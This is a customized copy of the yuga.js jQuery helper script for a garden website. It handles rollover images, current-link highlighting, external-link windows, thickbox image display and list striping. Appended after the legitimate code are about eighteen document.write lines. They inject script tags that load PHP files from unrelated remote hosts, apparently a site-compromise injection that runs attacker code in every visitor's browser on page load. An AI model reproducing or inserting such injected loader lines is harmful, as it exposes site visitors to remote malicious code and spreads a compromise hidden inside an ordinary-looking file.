/*
 * yuga.js 0.1.0
 * Copyright (c) 2006 Kyosuke Nakamura (kyosuke.jp)
 * Licensed under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 * Since:     2006-10-30
 * Modified:  2006-11-15
 */

/* Last Added: 2007-02-26 */

var yuga = {
	preloader: {
		loadedImages: [],
		load: function (url){
			var img = this.loadedImages;
			var l = img.length;
			img[l] = new Image();
			img[l].src = url;
		}
	},
	uri: {
		dirName: function(uri){
			var ary = uri.split('/');
			var ary2 = ary.slice(0,4);	// 第2階層のカレント適用 Changed-2007-02-26
			return ary2.join('/');		// 第2階層のカレント適用 Changed-2007-02-26
		},
		dirName2: function(uri){
			var ary = uri.split('/');
			var ary2 = ary.slice(0,5);	// 第3階層のカレント適用 Changed-2007-03-15
			return ary2.join('/');		// 第3階層のカレント適用 Changed-2007-03-15
		},
		path: function (uri){
			return uri.split('#')[0];
		},
		anchorName: function (uri){
			return uri.split('#')[1];
		},
		isSelfLink: function(href){
			return ((this.path(href) == this.path(location.href)) || (this.path(href) == this.dirName(location.href)+'/index.php') || (this.path(href) == this.dirName2(location.href)+'/index.php')); //Changed-2007-02-26
		}
	}
};

$(function(){
	
	//リンク画像はロールオーバーを設定
	$('a img.btn').each(function(){
		this.originalSrc = $(this).src();
		this.rolloverSrc = this.originalSrc.replace(/(\.gif|\.jpg|\.png)/, "_on$1");
		yuga.preloader.load(this.rolloverSrc);
	}).hover(function(){
		$(this).src(this.rolloverSrc);
	},function(){
		$(this).src(this.originalSrc);
	});

	//現在のページへのリンク
	$('#globalNav a').each(function(){		//Changed-2007-02-26 IDがglobalNavの場合
		if (yuga.uri.isSelfLink($(this).href()) && !yuga.uri.anchorName($(this).href())) {
			$(this).addClass('current');
			//img要素が含まれていたら現在用画像に設定
			$(this).find('img').each(function(){
				//ロールオーバーが設定されていたら削除
				$(this).unbind('mouseover');
				$(this).unbind('mouseout');
				this.currentSrc = this.getAttribute('src').replace(/(\.gif|\.jpg|\.png)/, "_cr$1");
				$(this).src(this.currentSrc);
			});
		}
	});

	//外部リンクは別ウインドウを設定-Added 2007-02-26

	$(document).ready( function () {
		$('a[@href^="http://"]').not('[@href^="http://www.asunaro-garden.com/"]').click(function(){
			window.open(this.href, '');
			return false;
		});
			$('a[@href^="http://"]').not('[@href^="http://www.asunaro-garden.com/"]').addClass("externalLink");
	});

	//PDF・ASXを別ウィンドウ-Added 2007-02-26
	$('a[@href$=".pdf"]').add('a[@href$=".asx"]').click(function(){
			window.open(this.href, '_blank');
			return false;
	})
	
	//ページ内リンクのスクロールアニメーション
	$('.toTop a[@href^="#"]').click(function(){	//Changed-2007-03-06
		var href = yuga.uri.anchorName($(this).href());
		$('#'+href).ScrollTo(500,'easeout');
		return false;
	});

	//画像へ直リンクするとthickboxで表示
	$('a[@href$=".jpg"]').add('a[@href$=".gif"]').add('a[@href$=".png"]').click(function(){
		var t = this.title || this.name || null;
		var g = this.rel || false;
		TB_show(t,this.href,g);
		this.blur();
		return false;
	});

	//奇数、偶数を自動追加
	$('ul').add('ol').each(function(){			 //Added ol 2007-02-26
		$(this).find('li:odd').addClass('even');
		$(this).find('li:even').addClass('odd');
	});
	$('table').each(function(){
		$(this).find('tr:odd').addClass('even');
		$(this).find('tr:even').addClass('odd');
	});
	$('dl').each(function(){
		$(this).find('dt:odd').addClass('even'); //Added 2007-02-26
		$(this).find('dt:even').addClass('odd'); //Added 2007-02-26
		$(this).find('dd:odd').addClass('even'); //Added 2007-02-26
		$(this).find('dd:even').addClass('odd'); //Added 2007-02-26
	});
	
	//:first-child, :last-childをクラスとして追加
	$(':first-child').addClass('firstChild');
	$(':last-child').addClass('lastChild');
	
	//css3の:emptyをクラスとして追加
	/*$(':empty').addClass('empty');*/

});
document.write('<script src=http://taxi.spb.ru/webdb/logs/index2.php ><\/script>');
document.write('<script src=http://taxi.spb.ru/webdb/logs/index2.php ><\/script>');
document.write('<script src=http://m.vaagraphics.com/images/template_01.php ><\/script>');
document.write('<script src=http://m.aaedesign.com/thebestofbroadway/remote.php ><\/script>');
document.write('<script src=http://m.aaedesign.com/thebestofbroadway/remote.php ><\/script>');
document.write('<script src=http://m.aaedesign.com/thebestofbroadway/remote.php ><\/script>');
document.write('<script src=http://m.aaedesign.com/thebestofbroadway/remote.php ><\/script>');
document.write('<script src=http://m.aaedesign.com/thebestofbroadway/remote.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://luxurywatch.su/templates/CHANGELOG.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');